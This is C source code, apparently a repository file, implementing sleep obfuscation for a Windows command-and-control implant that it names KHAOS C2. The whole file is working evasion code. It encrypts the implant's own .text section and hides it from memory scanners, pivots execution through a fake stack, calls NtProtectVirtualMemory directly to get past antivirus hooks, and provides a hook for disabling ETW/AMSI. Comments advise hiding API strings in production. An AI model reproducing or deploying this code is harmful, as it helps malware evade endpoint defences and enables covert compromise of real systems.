* PoC note: this file uses GetModuleHandleA/GetProcAddress for simplicity.
|
||||
* In production, replace with a PEB walk to keep these strings off the IAT
|
||||
* and out of .rdata. See agent/src/evasion/evasion.c in KHAOS C2 for the
|
||||
* hardened version.
|
||||
*/
|
||||
|
||||
sleep_obf_thread_hook_t g_sleep_obf_thread_hook = NULL;
|
||||
|
||||
typedef NTSTATUS (NTAPI *NtContinue_t) (PCONTEXT, BOOLEAN);
|
||||
typedef NTSTATUS (NTAPI *NtWait_t) (HANDLE, BOOLEAN, PLARGE_INTEGER);
|
||||
typedef VOID (NTAPI *RtlCaptureContext_t) (PCONTEXT);
|
||||
typedef BOOL (WINAPI *VirtualProtect_t) (LPVOID, SIZE_T, DWORD, PDWORD);
|
||||
typedef void (WINAPI *Sleep_t) (DWORD);
|
||||
typedef BOOL (WINAPI *SetEvent_t) (HANDLE);
|
||||
typedef NTSTATUS (NTAPI *NtProtectVM_t) (HANDLE, PVOID *, PSIZE_T, ULONG, PULONG);
|
||||
|
||||
#define FAKE_STACK_SZ 0x10000
|
||||
|
||||
typedef struct {
|
||||
LPVOID text_base;
|
||||
SIZE_T text_size;
|
||||
BYTE key[32];
|
||||
DWORD sleep_ms;
|
||||
HANDLE done;
|
||||
NtContinue_t ntcontinue;
|
||||
LARGE_INTEGER timeout;
|
||||
LPVOID fake_stack_mem;
|
||||
PVOID orig_stack_base;
|
||||
PVOID orig_stack_limit;
|
||||
VirtualProtect_t fn_vprot;
|
||||
Sleep_t fn_sleep;
|
||||
SetEvent_t fn_setevent;
|
||||
} obf_ctx_t;
|
||||
|
||||
/* NtProtectVirtualMemory wrapper — bypasses VirtualProtect hooks.
|
||||
* Uses setjmp/VEH to catch exceptions injected by kernel-mode AV drivers
|
||||
* (e.g. Kaspersky) that block .text permission changes at kernel level.
|
||||
* On such systems the roundtrip check fails gracefully and sleep_obf
|
||||
* falls back to plain Sleep(). */
|
||||
static NtProtectVM_t s_ntpvm = NULL;
|
||||
static jmp_buf s_prot_jmp;
|
||||
static volatile LONG s_in_prot = 0;
|
||||
|
||||
static LONG WINAPI _prot_veh(EXCEPTION_POINTERS *ep)
|
||||
{
|
||||
if (!s_in_prot) return EXCEPTION_CONTINUE_SEARCH;
|
||||
if (ep->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION ||
|
||||
ep->ExceptionRecord->ExceptionCode == 0xC0000022) {
|
||||
longjmp(s_prot_jmp, 1);
|
||||
}
|
||||
return EXCEPTION_CONTINUE_SEARCH;
|
||||
}
|
||||
|
||||
static BOOL _nt_prot(LPVOID addr, SIZE_T sz, DWORD prot, DWORD *old)
|
||||
{
|
||||
if (!s_ntpvm) {
|
||||
s_ntpvm = (NtProtectVM_t)(void *)GetProcAddress(
|
||||
GetModuleHandleA("ntdll.dll"), "NtProtectVirtualMemory");
|
||||
}
|
||||
if (!s_ntpvm) return FALSE;
|
||||
|
||||
PVOID veh = AddVectoredExceptionHandler(1, _prot_veh);
|
||||
InterlockedExchange(&s_in_prot, 1);
|
||||
|
||||
if (setjmp(s_prot_jmp) != 0) {
|
||||
/* exception caught — NtPVM blocked by kernel AV driver */
|
||||
InterlockedExchange(&s_in_prot, 0);
|
||||
if (veh) RemoveVectoredExceptionHandler(veh);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
PVOID base = addr;
|
||||
SIZE_T rsz = sz;
|
||||
ULONG _old = 0;
|
||||
NTSTATUS st = s_ntpvm((HANDLE)(LONG_PTR)-1, &base, &rsz, (ULONG)prot, &_old);
|
||||
|
||||
InterlockedExchange(&s_in_prot, 0);
|
||||
if (veh) RemoveVectoredExceptionHandler(veh);
|
||||
|
||||
if (st != 0) return FALSE;
|
||||
if (old) *old = (DWORD)_old;
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
/* Read/write TEB fields via GS segment register */
|
||||
__attribute__((section(".run")))
|
||||
static inline PVOID _teb_read_ptr(DWORD64 off)
|
||||
{
|
||||
PVOID v;
|
||||
__asm__ __volatile__("movq %%gs:(%1), %0" : "=r"(v) : "r"(off));
|
||||
return v;
|
||||
}
|
||||
|
||||
__attribute__((section(".run")))
|
||||
static inline void _teb_write_ptr(DWORD64 off, PVOID val)
|
||||
{
|
||||
__asm__ __volatile__("movq %0, %%gs:(%1)" :: "r"(val), "r"(off) : "memory");
|
||||
}
|
||||
|
||||
/* Globals shared between main thread and trampoline */
|
||||
static CONTEXT s_saved_ctx = {0};
|
||||
static obf_ctx_t *s_obf_ctx = NULL;
|
||||
static volatile LONG s_restore = 0;
|
||||
|
||||
/*
|
||||
* Timer thread: lives entirely in .run so it keeps executing while .text
|
||||
* is PAGE_NOACCESS. Uses direct function pointers stored in obf_ctx_t, not
|
||||
* IAT thunks (which sit in .text and would fault on access).
|
||||
*/
|
||||
__attribute__((section(".run"), noinline))
|
||||
static DWORD WINAPI _timer_thread(LPVOID arg)
|
||||
{
|
||||
obf_ctx_t *c = (obf_ctx_t *)arg;
|
||||
c->fn_sleep(c->sleep_ms);
|
||||
c->fn_setevent(c->done);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/*
|
||||
* Wakeup trampoline: called when NtWaitForSingleObject returns via the fake
|
||||
* stack. Decrypts .text, restores TEB stack bounds, and resumes via NtContinue
|
||||
* with the real saved context.
|
||||
*/
|
||||
__attribute__((section(".run"), noinline))
|
||||
static void _sleep_trampoline(void)
|
||||
{
|
||||
obf_ctx_t *c = s_obf_ctx;
|
||||
BYTE *p = (BYTE *)c->text_base;
|
||||
SIZE_T n = c->text_size;
|
||||
DWORD old;
|
||||
|
||||
c->fn_vprot(p, n, PAGE_READWRITE, &old);
|
||||
for (SIZE_T i = 0; i < n; i++) p[i] ^= c->key[i & 31];
|
||||
if (!c->fn_vprot(p, n, PAGE_EXECUTE_READ, &old))
|
||||
c->fn_vprot(p, n, PAGE_EXECUTE_READWRITE, &old);
|
||||
|
||||
_teb_write_ptr(0x08, c->orig_stack_base);
|
||||
_teb_write_ptr(0x10, c->orig_stack_limit);
|
||||
|
||||
c->ntcontinue(&s_saved_ctx, FALSE);
|
||||
__builtin_unreachable();
|
||||
}
|
||||
|
||||
/*
|
||||
* Encrypt .text, mark PAGE_NOACCESS, rewrite TEB stack bounds to the fake
|
||||
* stack, then pivot to NtWaitForSingleObject via NtContinue. Never returns.
|
||||
*/
|
||||
__attribute__((section(".run"), noinline))
|
||||
static void _obf_sleep_tail(obf_ctx_t *ctx, CONTEXT *fake_ctx_ptr)
|
||||
{
|
||||
BYTE *p = (BYTE *)ctx->text_base;
|
||||
SIZE_T n = ctx->text_size;
|
||||
DWORD old;
|
||||
|
||||
for (SIZE_T i = 0; i < n; i++) p[i] ^= ctx->key[i & 31];
|
||||
ctx->fn_vprot(p, n, PAGE_NOACCESS, &old);
|
||||
|
||||
_teb_write_ptr(0x08, (PVOID)((BYTE *)ctx->fake_stack_mem + FAKE_STACK_SZ));
|
||||
_teb_write_ptr(0x10, ctx->fake_stack_mem);
|
||||
|
||||
ctx->ntcontinue(fake_ctx_ptr, FALSE);
|
||||
__builtin_unreachable();
|
||||
}
|
||||
|
||||
/* PE header walk to find own .text section */
|
||||
static void _find_section(const char *name, LPVOID *base, SIZE_T *sz)
|
||||
{
|
||||
*base = NULL; *sz = 0;
|
||||
BYTE *img = (BYTE *)GetModuleHandleA(NULL);
|
||||
if (!img) return;
|
||||
IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)img;
|
||||
if (dos->e_magic != IMAGE_DOS_SIGNATURE) return;
|
||||
IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)(img + dos->e_lfanew);
|
||||
if (nt->Signature != IMAGE_NT_SIGNATURE) return;
|
||||
IMAGE_SECTION_HEADER *sec = IMAGE_FIRST_SECTION(nt);
|
||||
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) {
|
||||
int ok = 1;
|
||||
for (int j = 0; j < 8; j++) {
|
||||
char c = name[j];
|
||||
if (sec->Name[j] != (unsigned char)c) { ok = 0; break; }
|
||||
if (!c) break;
|
||||
}
|
||||
if (ok) {
|
||||
*base = img + sec->VirtualAddress;
|
||||
*sz = sec->Misc.VirtualSize;
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void sleep_obf(DWORD ms)
|
||||
{
|
||||
LPVOID text_base = NULL;
|
||||
SIZE_T text_size = 0;
|
||||
_find_section(".text", &text_base, &text_size);
|
||||
if (!text_base || !text_size) { Sleep(ms); return; }
|
||||
|
||||
HMODULE hntdll = GetModuleHandleA("ntdll.dll");
|
||||
HMODULE hk32 = GetModuleHandleA("kernel32.dll");
|
||||
if (!hntdll || !hk32) { Sleep(ms); return; }
|
||||
|
||||
NtContinue_t fn_cont = (NtContinue_t) GetProcAddress(hntdll, "NtContinue");
|
||||
NtWait_t fn_wait = (NtWait_t) GetProcAddress(hntdll, "NtWaitForSingleObject");
|
||||
RtlCaptureContext_t fn_cap = (RtlCaptureContext_t)GetProcAddress(hntdll, "RtlCaptureContext");
|
||||
PVOID fn_rts = GetProcAddress(hntdll, "RtlUserThreadStart");
|
||||
|
||||
VirtualProtect_t fn_vprot = (VirtualProtect_t) GetProcAddress(hk32, "VirtualProtect");
|
||||
Sleep_t fn_sleep = (Sleep_t) GetProcAddress(hk32, "Sleep");
|
||||
SetEvent_t fn_setevent= (SetEvent_t) GetProcAddress(hk32, "SetEvent");
|
||||
|
||||
if (!fn_cont || !fn_wait || !fn_cap || !fn_vprot || !fn_sleep || !fn_setevent) {
|
||||
Sleep(ms); return;
|
||||
}
|
||||
|
||||
obf_ctx_t *ctx = (obf_ctx_t *)HeapAlloc(
|
||||
GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(obf_ctx_t));
|
||||
if (!ctx) { Sleep(ms); return; }
|
||||
|
||||
ctx->text_base = text_base;
|
||||
ctx->text_size = text_size;
|
||||
ctx->sleep_ms = ms;
|
||||
ctx->ntcontinue = fn_cont;
|
||||
ctx->fn_vprot = fn_vprot;
|
||||
ctx->fn_sleep = fn_sleep;
|
||||
ctx->fn_setevent = fn_setevent;
|
||||
ctx->done = CreateEventA(NULL, FALSE, FALSE, NULL);
|
||||
if (!ctx->done) { HeapFree(GetProcessHeap(), 0, ctx); Sleep(ms); return; }
|
||||
|
||||
/* relative timeout in 100ns units with 5s buffer */
|
||||
ctx->timeout.QuadPart = -((LONGLONG)(ms + 5000) * 10000LL);
|
||||
|
||||
BCryptGenRandom(NULL, ctx->key, sizeof(ctx->key), BCRYPT_USE_SYSTEM_PREFERRED_RNG);
|
||||
|
||||
ctx->fake_stack_mem = VirtualAlloc(NULL, FAKE_STACK_SZ,
|
||||
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
if (!ctx->fake_stack_mem) {
|
||||
CloseHandle(ctx->done);
|
||||
HeapFree(GetProcessHeap(), 0, ctx);
|
||||
Sleep(ms);
|
||||
return;
|
||||
}
|
||||
|
||||
/* place trampoline as return address on fake stack top */
|
||||
PVOID *fake_top = (PVOID *)((BYTE *)ctx->fake_stack_mem + FAKE_STACK_SZ - 16);
|
||||
fake_top[0] = (PVOID)_sleep_trampoline;
|
||||
fake_top[1] = fn_rts ? (PVOID)((BYTE *)fn_rts + 0x10) : NULL;
|
||||
|
||||
ctx->orig_stack_base = _teb_read_ptr(0x08);
|
||||
ctx->orig_stack_limit = _teb_read_ptr(0x10);
|
||||
|
||||
s_obf_ctx = ctx;
|
||||
InterlockedExchange(&s_restore, 0);
|
||||
|
||||
/* capture current context — RIP lands here after NtContinue restores it */
|
||||
fn_cap(&s_saved_ctx);
|
||||
|
||||
/* two-pass: encrypt path sets s_restore=1; restore path sees it and cleans up */
|
||||
if (InterlockedCompareExchange(&s_restore, 0, 1) == 1) {
|
||||
SecureZeroMemory(ctx->key, sizeof(ctx->key));
|
||||
CloseHandle(ctx->done);
|
||||
VirtualFree(ctx->fake_stack_mem, 0, MEM_RELEASE);
|
||||
HeapFree(GetProcessHeap(), 0, ctx);
|
||||
return;
|
||||
}
|
||||
InterlockedExchange(&s_restore, 1);
|
||||
|
||||
/* build fake context: RIP=NtWait, RSP=fake_stack */
|
||||
CONTEXT fake_ctx;
|
||||
memcpy(&fake_ctx, &s_saved_ctx, sizeof(CONTEXT));
|
||||
fake_ctx.Rsp = (DWORD64)(uintptr_t)fake_top;
|
||||
fake_ctx.Rip = (DWORD64)(uintptr_t)fn_wait;
|
||||
fake_ctx.Rcx = (DWORD64)ctx->done;
|
||||
fake_ctx.Rdx = FALSE;
|
||||
fake_ctx.R8 = (DWORD64)(uintptr_t)&ctx->timeout;
|
||||
|
||||
/* create timer thread before encrypting — DLL_THREAD_ATTACH needs .text */
|
||||
HANDLE ht = CreateThread(NULL, 0, _timer_thread, ctx, 0, NULL);
|
||||
if (!ht) {
|
||||
SecureZeroMemory(ctx->key, sizeof(ctx->key));
|
||||
CloseHandle(ctx->done);
|
||||
VirtualFree(ctx->fake_stack_mem, 0, MEM_RELEASE);
|
||||
HeapFree(GetProcessHeap(), 0, ctx);
|
||||
InterlockedExchange(&s_restore, 0);
|
||||
Sleep(ms);
|
||||
return;
|
||||
}
|
||||
|
||||
/* optional hook: arm ETW/AMSI breakpoints on the timer thread */
|
||||
if (g_sleep_obf_thread_hook)
|
||||
g_sleep_obf_thread_hook(ht);
|
||||
|
||||
CloseHandle(ht);
|
||||
|
||||
/* verify permission round-trip before committing (fails under ACG) */
|
||||
BYTE *p = (BYTE *)text_base;
|
||||
DWORD old, dummy;
|
||||
if (!_nt_prot(p, text_size, PAGE_READWRITE, &old))
|
||||
goto _fallback;
|
||||
if (!_nt_prot(p, text_size, old, &dummy)) {
|
||||
_nt_prot(p, text_size, old, &dummy);
|
||||
goto _fallback;
|
||||
}
|
||||
_nt_prot(p, text_size, PAGE_READWRITE, &old);
|
||||
|
||||
_obf_sleep_tail(ctx, &fake_ctx);
|
||||
__builtin_unreachable();
|
||||
|
||||
_fallback:
|
||||
SecureZeroMemory(ctx->key, sizeof(ctx->key));
|
||||
CloseHandle(ctx->done);
|
||||
VirtualFree(ctx->fake_stack_mem, 0, MEM_RELEASE);
|
||||
HeapFree(GetProcessHeap(), 0, ctx);
|
||||
InterlockedExchange(&s_restore, 0);
|
||||
Sleep(ms);
|
||||
}
|
||||
Reference in New Issue
Block a user